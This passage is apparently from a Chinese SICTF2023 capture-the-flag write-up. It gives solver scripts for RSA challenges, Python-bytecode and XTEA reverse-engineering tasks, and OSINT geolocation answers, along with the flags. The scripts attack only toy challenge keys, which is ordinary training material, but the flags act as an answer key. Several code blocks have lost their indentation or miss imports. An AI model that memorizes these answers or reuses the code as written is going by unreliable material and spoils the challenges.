2786756946298833891033171752534079387364641021835311861509609494125593285947444939996542402774020507531158198766149282993994638607458820211163623309687149807339960007614766879688676462400606899851539023671152038536934433128973358637812907001112093086713949701646964777013925616637956114825918525229968119306607256312727518429074253193934915609865400118400124334806320033990630595454381780378123232633134565408152216410478497582716891919477755736223636583493709691482948793995974775520709337409910573358960632077245564017495103173982250506224927848890977671698731337737945862469303397352291579706358090437359126171980555387033997507170208063868788685780633727495158542911276981383764698030088894904043298340184342818716278091407356551940358010532738356144600648671870141201656260882560550096111259047730234565173017875969390130055742832375612379167064701421263006004472414998830886590121784525812803198481744263349186310137594023961272959521982892804372412802448375074058059953851751721276448647238818757245128139844126234490887064897176175605991477364838775902549049484485649550475857257115219540606931472558004890564503134870490140656624241401747198540715275804941032074573356860460172868340373583692584902872979221114982298050586685719887060873413850621645519128954022253850929825608263273096476942591333367968509790925478388960974334157155990587259664085903377635645971389261554405014491809856113962072321115329323751880850245450855429733690986687462514539793256111238991830404264833945950057548041347552265351912075406068254301589527368376552057750656888595867048015012255350060023438752477068307445956245683183096512267217891149812719686622381240260466772552889788641876064057960173837664029586196731436456574414559972320705400861271592462379875676277251086312872195716024719468847393778892154498344296554136868868732950910162390521996660833516010868267341539744299603050842530651780425947531816479566426165422123252285427076862067553260240357395991463485011778125635347076641337205162163658915958257879189951068432591492287483129944125287963913713736174143726754563437013760958618334477377727596918588685928884428267449422751775309153821164066157157127578931430789782791432466972743083256930846560916380022935439074194208587413499830348721004306047843916090382879427208653946874404416581482497419737465638158237340330822703573665318917667360471294611610224794247546701801044290825387969994925735165223021550294577211312086169077389985367351707099712483698243658870007261177946508698830792080087400145468466457013023648585707831661968993789151545051681008263293021078693138432668411562842904645661356499891588207831214182852485507569391094080770281546830762172075737108196782354642073491890672014845707320966391491467609280627047834838773416130380735074488364271149543425149101272213833983451690912775914099688310078028317868139895586469648241691434390559738020665790535748911667198341478329818172050103593169144077713081858968945277802911631514524770516773987691162846774892828407010262766598402873965272708201519043339930474621748065360132998861911090097210247744181877811558047691563490093112810880988416880859363631693862441291401344868362517958157134815632633152101164792211199872770004214575342556751954753067436057216989105115974894826691301734658752554796336087163153087013755182247902851847839867807219615044427616326518986674768302109569955218389569458769985874451273117138435546665024826358058600551523916808015505037962468350942106702503883112975634757971636535249998962164886704286732345711210362931312187319836001555348202695806282730945501510756659164231139623277954192087899140537284122009070763979073048837471984618684020674370221463294306239424220412900401460550783283591789801735401367473630854684306273273881688896021682911944793729874921181848098382943970467341811398482121657330781393699096796050290808604481724879698091852697163383826854575487201365106673196811573729247280577781500366763330567122007588833805912087009446499739562463428568952248234506507069953596589309728265145195922268165106056450388840269349409588020300011340940321969965833519126936472969929255823540027083032424724503173052044192907375974391257436211908641463947719594493311129179150043015816776680636855703407557636501711566215605658114055289137679940955
e = 19458216662993202562182929756256684791318810848802754020883513588583377528821730559897870095442161189229950925325157413999927847684731484753811988111830295294129447423655650029218971567158117911790213848402209470536199246476182240248742771389082526603384625792117047996128232952372477895218147279573573322975526303267821446640338606290250958710008158544852602338088244940388562828263436457418528981476220691508040085291576643321726669065360399003917048894093458055139757991688086912143763420958307099065105543361779847689716282373299487102518794317683805758527645283956734672229827240143254092779918701447288342107763

#************************************hint**************************************
M = libnum.s2n(hint)
P = getPrime(512)
Q = getPrime(512)
N = P * Q
print("N=" , N)
E = 65537
dp = (gmpy2.invert(E,(P-1)*(Q-1)))%(P-1)
print("dp=" , dp)
ct = pow(M, E, N)
print("ct=" , ct)
#N= 154243858720978602820118866455277758287334223654318945323956633685668127012462551649034724900534326698546179107853501584676890290935304784613676008667655919749627682648852472398117930471389759979432279103098572267738634433626627146280660185675121614094399255782089060202532182667463993275434746386786808729553
#dp= 414447829724187823397808703878958757693775250832414113550357728233230359464880433113636330432984183165483109337095394192757735932571515450285102727598243
#ct= 107353143319003715532284973064969905174389167949274067058206046773012002421251301189097709121034091973243342582216724329271495555062882075119176838856174054763892910473175610614629226628025470613930226188506099489500606701109022668507012376482339056160636468427364776216626364765166621843217027512464383836160
PHP

hint是dp泄露,先跑

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
import libnum

n= 154243858720978602820118866455277758287334223654318945323956633685668127012462551649034724900534326698546179107853501584676890290935304784613676008667655919749627682648852472398117930471389759979432279103098572267738634433626627146280660185675121614094399255782089060202532182667463993275434746386786808729553
e= 65537
c= 107353143319003715532284973064969905174389167949274067058206046773012002421251301189097709121034091973243342582216724329271495555062882075119176838856174054763892910473175610614629226628025470613930226188506099489500606701109022668507012376482339056160636468427364776216626364765166621843217027512464383836160
dp= 414447829724187823397808703878958757693775250832414113550357728233230359464880433113636330432984183165483109337095394192757735932571515450285102727598243

p=gmpy2.gcd(pow(2,e*dp,n)-2,n)
for i in range(1, e):
p = (dp * e - 1) // i + 1
if n % p == 0:
q = n // p
break
phi_n = (p - 1) * (q - 1)
d = gmpy2.invert(e, phi_n)
m = pow(c, d, n)
flag = libnum.n2s(int(m))
print(flag)
#Alpha == 8
PHP

代入计算, n约等于 (816)*(12832)*(4096**2)*p**58,只有一个未知数p,解方程可以得到一个在p附近的数,在这个数的前后爆破一下即可得到p。p的长度为512bit大于flag的长度,所以RSA模p

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
import gmpy2
from Crypto.Util.number import *
from sympy import *
n = 510598540378970007468346322989879190780475356832709189528874695730531468123747091318830966440138615736420891392158097533731041150162690662471483619765171875053776526546923686545162088172326434280369545887080098691661618888498451216122577703462656147845476260802989936275927468143618457014875124540773380472942489037761179303561650189545290190421786318533073909424735517884608967725919128200358535113829753453601297612782921831305721998858231417374167746154206561475003022801732102170674160043866579234096945753255309604584663823273990392197858273029361669185072049422597132579136784027822968387907216366150999438414498332890674564920800382005582891491049365978733797356415518435343495821039314228388769356638637099572998812062355774848959446125701462950655806332002764535951282449862140062574418031213788534096501985200284615865248974807525604893147298611402252296159828500266098282909607218395957805357667923653409828275804406466185333491486073920384298557332939701611488655278812282652143513835104674009767479927241052662403578967182673338296967573503287747778401579267126898937724971226916836862238412923209155792382534204896050548824028658237640251964366961727999178646613907934616655737902329568420682808750546571786374023614255135110482419627491157502417864563832543812083026753673687664854910877686333766643694031564516722983669199704788291656757271915091399977189663329054202997146978631991467923388119989473941572476162990901960011968892272676827771256008656450296183884491251752111424531449198118292179798490440493223653950102915889401116251591885909790869073018774674246846164536910633015902964911907187085243240032540938841961345835517368130042501382327926289017383981908729734129193302049155793436988510517701765733605569135643208447952662352778482137713239592896997102366230279153456455232519301534222340901671138239539845240151878610363390683459663471954623868659324304077587611084188341121303918876492043578883059738615210439439368338460631574255417822627815523601923537626576677004085017875860928802762176477815284840936951142176532768517728636562256240668409525184886142801802825451465440993457022771077957094228957592122319682216294509338262739872163482972508991702525289361105971574659126127296233247905505496525683817711366704746617027744889413904684867577081667137187623825349410229389484199608739864221035985277681307389939848405790294473878622092200837753161101695539947514614727699952200114544362051873938505591469240465379091377837297561323297393518152524513948294475770774872596601345526469590486037386767964812631618224527233850818909346007449756779707319609915127618828551910681421647307180399632857248867655836894968134457622987954781685664833951774981383914013420724637676787907498490619865488706542422141338754933476190313653530739822029700217857534243473680585150263523947891501341441371965435851479670882202992955935279933652356336270251591324623898094984119190752775236005057405257945038031382867511822173122001309505728526596893926445291712035117553637589190292816001770554129840326832888707541999454791653742647879694585329112697382151447923691770809327807665376014114552626285289291808032845544905356380497227622738746307685611140483875177839511922977657045680353723672792411661489242162646272105649970359134277499907207906149573299990033858943215801954126448693460102775418225293255402758159431943811872373682053160944887775375465971432320964554947377318554518275854303099420999992690990916801757184853847474379621177976926681977371922191722085164910430032177320954341986984523594583172470609743970245810969858512632597943721628165724329447516823159387734220282510185959768239630017162115072758419177056571781075148374822721899683720488356041096248563880547752710289151512607087038310649235610688255059182467964379544134070766646863815775576049106337955345150055151813028534690066771104188418296440067303355417210829440978858599306487361626723932883675404705319649877631289465547597225908934420304867048341698308940436377375588905463549199568800788130324653074398891097223958392703515180958466771395566567923630440881986781120062769327993137151783189811570714391264155060840731029466593405853721833971303821804104382800673631786729744779165371433211267361024896576031556979771007693215198547296582235167582106419779580693225211695215406540025468141235241168387527901851774993867055740692835931115312659500713701652905802357951993290979099170159167009106534001226859533836082801229997337966972579186548771169099646656172882424089451273021293821026173210665095782802709874946641962115525841325300318524665386511421662860490620819561338110623774842340380068922415609137358448899126553279894950604871889208579886778999174405582160576479554324208876082033912031737086248121899303730781498156597249803927142235444644481388064486155431912003641095674949903404176810866307571531389637794147871012904134653569388493652441432759092336752228939764110397029831387803943394811558386122839568158928461007578259968765727092577006588264867960486472014493774664081407186721351852883527145790575242285664659303948842228766554243966691396492391152581830022133814454196259968655735361775914705332258892954614272244452518449260489348504449204461418971768011384340273291232094176572232837038670467853897665877851434992557429017504229337778470080893449423405491607587635438331476572996201482633587271479001915768182336813417460145272910780420062773057289352127058606048428315185624554551172152106354445240590380140756355226376829443068190672329776832112173322011137862590548721676059398379694994522794474774534579546109677615257696703950497332824299576069196330271666459758430542051969093680846765661685489556479825015505460585577388300005030240514448617715276600874290664416888184557142542207029827016362686924883704397874129412267949416733492080843315519912943048041880665442664534980370689081266908497051077237188221752059058912835617635691061804481035908317765279937217591432632832678806430381325340000898958680468694182993189208039459712391492410123386884340504648296815916980264240229859574883155040793388439699245314010536014311134726579595932201351264754211113984594974123575279085420654342347792446273359397655783349850267895960713020361459104930811498666622216299579774939159380045958811891996366190154624989040001455252320159516822116133341010157165599727635333348456688307169980804760876207246783116588952529877373514768545007418968307885769960168050996962066803264260375707466369627458024513973771207018864983698407016663019106354023164759250846073414341438963394719456500998324900154652118420207057668806120330181700845296117532235012372135050553397046174401449323031309344766628888675704109715329046692002106076405553528413866402862565543443907259825033515101841485790388106868972724754988229771779715569516295419556055234476868558577442887306482605945053829666543946452255290321024138948999088611233226734197091325915223296133751626031378197131875533631358612215053149934608672729194446883476706267066475008836864936670808320239466055935088929279252129128009704233352664523535820092988950793050907265677092793104426094212209504897403359406325045852228354350509453013015487815230129380079713113632363881496974185547766115624580099624722897692297760495094913178120692467666707678647081180656345151015995338390986674404981831649353833607305738823436744297628382797810952028446046016233612873716789383675779820186248250486000672269630344269347652027789034023080859790238772676504723029078903218723114249502157501775936110552413022658586833869562215506206204712447588632398550497708640229614956652263449460598992811393334042395804931240940416629178335447861485028284981615219874331354750385150254017244750993573994159458909546341067039268159319391512934162794663414200907868505060542602841564239761181077333990423542820064315891665379550720216448942932714180923613869070005330476506812100063599659432570925437054287120906048730323556681557905787470647037629769660028387819741611799183349496549168370221978146678987457271259655273299546276899538032070218474555442304430064164467753804089753466882786069297036926063093020795423414152340563079346797084488827259011515774643776620378827875819192074121522712821147817374988804339999134520633699074448564057555026364304855373068414955699295158212425760345481057281658337956841137897162198027254556350868502178340964817530029135654659162400076087528650997151875596189190736466304722028587441680622878918057024286243448077104494316372739218635221411755498456912672491099154558604384574583302548226057069534004474532514444674565766058970748694657151540644416463532338966570743112669782840065402131461088637463019996192189423665651801811614499041923273110971446683450048861113332787126098622974613883291506736280588039145040361795192519576202306796277888696719887642051327259799873478040156450250036778305950744573270786882726162630115640020293415918210448873867037875790399234972055537649774407094382744621251926131880807765203843946682834221238903263352845265134368550124026502981782369374484091775137498831749984649699756860976525160646445060537001
c = 25311588269686177955448734593829241225577179988164713941852977611031657483354358211703127234256857543045931490595235462694154500286504335321863566904591526587164297277540588019404183750093303030110155964308233155625979213391426577001127732161793532171930032372311485789800839135378584125843945003217786635500780784536181313697728354510921343049319891609423580951127082479154042124088536642353812516362473763243425336498681024731131013712158320926550826023277898283823992258572884077276506953901984370413493389421701244517177275694290580595883324705204426546600360091062972293159479880268240701929584137714053692704173792703744319619320692061092061615202753943135058204637610994232168818081462863915909261100211958674543647005416235222620606212841753586419836448681445654681389951211124603287962397164672343026391101395393442103086256726266031275710666309840451443110824175976964355109239201609721120961810198879456321855222352235065257082872600438604687617267718725588993464084147695037610145634237788526691386358596867368523164061114195245860062033244276270480267737617206612775486335779851309426638789250166900931784751600508190450785806340839297468432626354823268011108399699249876358363866293469899572158837757748629586492339783888456600259136387616777593894789302431752391447333278000811521062096467397501227651566498970779080811188805992370970942403208432494393387894197176720244315639559895616799551357601688597541585709039366190088117378880414928532937085490713336140523926983900188378021593225550131993528275166272215028510435690944582596557549068715312515919059333916941744937308255671959764859162487792658274812322891679161915480098864709106347357292015949882243095564999283630289876842913558415205967734452657944991350268108202225952952066459093168792825684626405271617613362070897142103054139806566495183172335794957308822648116537830567396971238329939142829563169355194093529211071160078683833491919940022871862059981346961003867620542620578917684687869682550269127226291011607064545739386850054846167307744022708831833252517778607796258598290908139274345221343651583618249287308738279011682960787460189183445095638164116734700624496711487227176740828397696295620232796356005136058517828311139839381424066302086111930635998143063033446131859852797958765199173807715541045956108285596958780742834805533223538366354327087736088500599094358107164689423572964793385788194218918919596478862097292477628426360333874314260108133339375942666508606311391805252966277961758108821946154428477616100004321457604879220523742427633323872953699931521980332026241531049474031438142792394628576016121322036294740176980189940853036679375845577017978783071015970829136676221389585848058189544793760570196797629432282672371000290840492119720433350192833648839794730598188620374416865232426658538841900897108162173580739323675324880778494924038982358349531848197090990541020708295116156624389135273650491811601011636903928586011504526431498652011548693157985029456398851189821020778958527809174433156243544030624341915713810661287037659586018768085470670240790942171506843637271442721823608266490364627429331023698199955218456371716269004979764982383921294842864121196124699402037204598504310969390789092001114319822852242500941141355281693725110460506548426263105213498404197519606615831672853931646583757742145492562101250546593997874586076926641241047317510838024042147508770595175718146175716833867781581245298658392175502069483979736336330731124942036757071709086638075284655589787868565023763734664219353940143820183318534640360506287779208468427268377183973501528333749816003855834863565394122448191029578528511650194632623989208637401008114422451686312319644054514944700566430912835340518601698767128195833704182657730566589247891277627101027106635732998136735398078858899384713118593668984773592904704131402905145754570091966901120411201405256435232063295790833161132002246279663161388421997242226907126829858922174709653627696146355472690262198127338971112610753839661677080463775112411884196230185877234066728564716929551607129141735155379529048300204700285511666205204686244751557147684338591300111406075976759988295937870045743031816067994768915303111125253664865369863586807234945352445045026501495849671447691502253489642657652848949102823407762108943161789244134119866441040670840037015617307056821150285453994199024947457774647253618512995677313792036106100497936654142008173389260345411854520383366800831542339243757421033121103167943520915885043698882609693007629591093225819727653240183003450339802857059736870645197609170799838610316307123146927966669912638227587517396282910946355194781275415343491170583392480153599086125374051844306869510079152461763122622668280249192047024784624692776244265874153473114993619019113474166958126841368545758693832786756946298833891033171752534079387364641021835311861509609494125593285947444939996542402774020507531158198766149282993994638607458820211163623309687149807339960007614766879688676462400606899851539023671152038536934433128973358637812907001112093086713949701646964777013925616637956114825918525229968119306607256312727518429074253193934915609865400118400124334806320033990630595454381780378123232633134565408152216410478497582716891919477755736223636583493709691482948793995974775520709337409910573358960632077245564017495103173982250506224927848890977671698731337737945862469303397352291579706358090437359126171980555387033997507170208063868788685780633727495158542911276981383764698030088894904043298340184342818716278091407356551940358010532738356144600648671870141201656260882560550096111259047730234565173017875969390130055742832375612379167064701421263006004472414998830886590121784525812803198481744263349186310137594023961272959521982892804372412802448375074058059953851751721276448647238818757245128139844126234490887064897176175605991477364838775902549049484485649550475857257115219540606931472558004890564503134870490140656624241401747198540715275804941032074573356860460172868340373583692584902872979221114982298050586685719887060873413850621645519128954022253850929825608263273096476942591333367968509790925478388960974334157155990587259664085903377635645971389261554405014491809856113962072321115329323751880850245450855429733690986687462514539793256111238991830404264833945950057548041347552265351912075406068254301589527368376552057750656888595867048015012255350060023438752477068307445956245683183096512267217891149812719686622381240260466772552889788641876064057960173837664029586196731436456574414559972320705400861271592462379875676277251086312872195716024719468847393778892154498344296554136868868732950910162390521996660833516010868267341539744299603050842530651780425947531816479566426165422123252285427076862067553260240357395991463485011778125635347076641337205162163658915958257879189951068432591492287483129944125287963913713736174143726754563437013760958618334477377727596918588685928884428267449422751775309153821164066157157127578931430789782791432466972743083256930846560916380022935439074194208587413499830348721004306047843916090382879427208653946874404416581482497419737465638158237340330822703573665318917667360471294611610224794247546701801044290825387969994925735165223021550294577211312086169077389985367351707099712483698243658870007261177946508698830792080087400145468466457013023648585707831661968993789151545051681008263293021078693138432668411562842904645661356499891588207831214182852485507569391094080770281546830762172075737108196782354642073491890672014845707320966391491467609280627047834838773416130380735074488364271149543425149101272213833983451690912775914099688310078028317868139895586469648241691434390559738020665790535748911667198341478329818172050103593169144077713081858968945277802911631514524770516773987691162846774892828407010262766598402873965272708201519043339930474621748065360132998861911090097210247744181877811558047691563490093112810880988416880859363631693862441291401344868362517958157134815632633152101164792211199872770004214575342556751954753067436057216989105115974894826691301734658752554796336087163153087013755182247902851847839867807219615044427616326518986674768302109569955218389569458769985874451273117138435546665024826358058600551523916808015505037962468350942106702503883112975634757971636535249998962164886704286732345711210362931312187319836001555348202695806282730945501510756659164231139623277954192087899140537284122009070763979073048837471984618684020674370221463294306239424220412900401460550783283591789801735401367473630854684306273273881688896021682911944793729874921181848098382943970467341811398482121657330781393699096796050290808604481724879698091852697163383826854575487201365106673196811573729247280577781500366763330567122007588833805912087009446499739562463428568952248234506507069953596589309728265145195922268165106056450388840269349409588020300011340940321969965833519126936472969929255823540027083032424724503173052044192907375974391257436211908641463947719594493311129179150043015816776680636855703407557636501711566215605658114055289137679940955
e = 19458216662993202562182929756256684791318810848802754020883513588583377528821730559897870095442161189229950925325157413999927847684731484753811988111830295294129447423655650029218971567158117911790213848402209470536199246476182240248742771389082526603384625792117047996128232952372477895218147279573573322975526303267821446640338606290250958710008158544852602338088244940388562828263436457418528981476220691508040085291576643321726669065360399003917048894093458055139757991688086912143763420958307099065105543361779847689716282373299487102518794317683805758527645283956734672229827240143254092779918701447288342107763

np = (8**16)*(128**32)*(4096**2)
p = gmpy2.iroot(n//np,58)[0]
while True:
p = prevprime(p)
d = gmpy2.invert(e,p-1)
m = pow(c,d,p)
flag = long_to_bytes(m)
if b"SICTF{" in flag:
print(flag)
break
else:
continue
#SICTF{6ee93ffd-e903-49d6-b166-44680a294851}
PHP

xy

解方程平方和,sage上的函数 two_squares() 可以求出x,y

1
2
3
4
#sage
enc =
x_y= two_squares(enc)
print(x_y)
PHP

不会写交互,手撸

reverse

LiHua’s checkme

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
1           0 LOAD_CONST               0 (114433)
2 LOAD_CONST 1 (114459)
4 LOAD_CONST 2 (114449)
6 LOAD_CONST 3 (114438)
8 LOAD_CONST 4 (114452)
10 LOAD_CONST 5 (114473)
12 LOAD_CONST 6 (114480)
14 LOAD_CONST 7 (114530)
16 LOAD_CONST 8 (114531)
18 LOAD_CONST 9 (114487)
20 LOAD_CONST 10 (114528)
22 LOAD_CONST 11 (114483)
24 LOAD_CONST 8 (114531)
26 LOAD_CONST 12 (114484)
28 LOAD_CONST 13 (114559)
30 LOAD_CONST 7 (114530)
32 LOAD_CONST 14 (114539)
34 LOAD_CONST 15 (114532)
36 LOAD_CONST 16 (114486)
38 LOAD_CONST 13 (114559)
40 LOAD_CONST 17 (114534)
42 LOAD_CONST 12 (114484)
44 LOAD_CONST 16 (114486)
46 LOAD_CONST 18 (114538)
48 LOAD_CONST 13 (114559)
50 LOAD_CONST 18 (114538)
52 LOAD_CONST 12 (114484)
54 LOAD_CONST 14 (114539)
56 LOAD_CONST 19 (114535)
58 LOAD_CONST 13 (114559)
60 LOAD_CONST 20 (114533)
62 LOAD_CONST 9 (114487)
64 LOAD_CONST 21 (114529)
66 LOAD_CONST 18 (114538)
68 LOAD_CONST 18 (114538)
70 LOAD_CONST 16 (114486)
72 LOAD_CONST 15 (114532)
74 LOAD_CONST 14 (114539)
76 LOAD_CONST 17 (114534)
78 LOAD_CONST 14 (114539)
80 LOAD_CONST 8 (114531)
82 LOAD_CONST 8 (114531)
84 LOAD_CONST 22 (114479)
86 BUILD_LIST 43
88 STORE_NAME 0 (flags)

2 90 LOAD_NAME 1 (input)
92 CALL_FUNCTION 0
94 STORE_NAME 2 (flag)

3 96 LOAD_CONST 23 (0)
98 STORE_NAME 3 (true)

4 100 SETUP_LOOP 52 (to 154)
102 LOAD_NAME 4 (range)
104 LOAD_NAME 5 (len)
106 LOAD_NAME 2 (flag)
108 CALL_FUNCTION 1
110 CALL_FUNCTION 1
112 GET_ITER
>> 114 FOR_ITER 36 (to 152)
116 STORE_NAME 6 (i)

5 118 LOAD_NAME 7 (ord)
120 LOAD_NAME 2 (flag)
122 LOAD_NAME 6 (i)
124 BINARY_SUBSCR
126 CALL_FUNCTION 1
128 LOAD_CONST 24 (114514)
130 BINARY_XOR
132 LOAD_NAME 0 (flags)
134 LOAD_NAME 6 (i)
136 BINARY_SUBSCR
138 COMPARE_OP 2 (==)
140 POP_JUMP_IF_FALSE 114

6 142 LOAD_NAME 3 (true)
144 LOAD_CONST 25 (1)
146 INPLACE_ADD
148 STORE_NAME 3 (true)
150 JUMP_ABSOLUTE 114
>> 152 POP_BLOCK

7 >> 154 LOAD_NAME 3 (true)
156 LOAD_NAME 5 (len)
158 LOAD_NAME 0 (flags)
160 CALL_FUNCTION 1
162 COMPARE_OP 2 (==)
164 POP_JUMP_IF_FALSE 174

8 166 LOAD_NAME 8 (print)
168 LOAD_CONST 26 ('True!')
170 CALL_FUNCTION 1
172 POP_TOP
>> 174 LOAD_CONST 27 (None)
176 RETURN_VALUE
PYTHON

根据字节码还原python脚本

1
2
3
4
5
6
flags = [114433, 114459, 114449, 114438, 114452, 114473, 114480, 114530, 114531, 114487, 114528, 114483, 114531, 114484, 114559, 114530, 114539, 114532, 114486, 114559, 114534, 114484, 114486, 114538, 114559, 114538, 114484, 114539, 114535, 114559, 114533, 114487, 114529, 114538, 114538, 114486, 114532, 114539, 114534, 114539, 114531, 114531, 114479]
flag = ""
for i in flags:
flag += chr(i^114514)
print(flag)
#SICTF{b01e2a1f-096d-4fd8-8f95-7e388d694911}
PYTHON

Super Mario Bros

原项目:https://github.com/heart6622/python_SuperMario
用python3.10正确反编译
题目提示源码在./source目录下

1
2
3
4
from pwn import xor
s=[10, 9, 23, 2, 23, 109, 15, 7, 4, 3, 58, 71, 22, 51, 82, 93, 20, 92, 93, 28, 41, 3, 25, 78, 0, 44, 16]
key= 'level num'
print (xor(s,key))
PHP

babyre

xtea 算法
re✌的exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
#include <stdio.h>
#include <stdint.h>


void decipher(unsigned int num_rounds, uint32_t v[6], uint32_t const key[4]) {
unsigned int i;

for (int j = 0; j < 3; j++) {
uint32_t delta = 0x61C88647, sum = delta * num_rounds;
uint32_t v0 = v[2 * j], v1 = v[2 * j + 1];
for (i = 0; i < num_rounds; i++) {

v1 -= ((((v0 * 8) ^ (v0 >> 5)) + v0) ^ (sum + key[(sum >> 11) & 3])) ^ 3;
sum -= delta;
v0 -= (((v1 * 8) ^ (v1 >> 5)) + v1) ^ (sum + key[sum & 3]);
}

v[2 * j] = v0; v[2 * j + 1] = v1;
}

}

int main()
{
uint32_t v[6] = { 0xab603776,0xb9b07148,0xbff5ec79,0x4e93cb5e,0xcbb3b436,0x41d24b4d };
uint32_t const k[4] = { (unsigned int)0x12345678,(unsigned int)0x23456789,(unsigned int)0x34567890 ,(unsigned int)0x45678901 };
unsigned int r = 32;

printf("加密的数据:0x%x,0x%x,0x%x,0x%x,0x%x,0x%x\n", v[0], v[1], v[2], v[3], v[4], v[5]);
decipher(r, v, k);
printf("解密后的数据:0x%x,0x%x,0x%x,0x%x,0x%x,0x%x\n", v[0], v[1], v[2], v[3], v[4], v[5]);
for (int i = 0; i < 6; i++)
{
for (int j = 3; j >= 0; j--)
{
printf("%c", (v[i] >> (j * 8)) & 0xFF);
}
}
return 0;
}
//flag{t5a_1s_very_n1C5!!}
C

Osint

朋友圈中的秘密


面向出题人做题法:
一眼丁真汉堡王(桌子上的可乐)
地图查找左上角的商家(顺义区)(树木是顺义区的)
范围很小,一个一个试就行
SICTF{北京市-顺义区-新顺南大街-11号-汉堡王}

小镇后面的山


直接google识图

随便搜都能找到,然后查了一下这个地方,确实有一个大学
https://www.adventurouskate.com/grenoble-on-a-perfect-winter-day/
SICTF{格勒诺布尔-阿尔卑斯山脉}


SICTF2023 wp
http://example.com/2023/02/09/SICTF2023wp/
作者
J_0k3r
发布于
2023年2月9日
许可协议
BY J_0K3R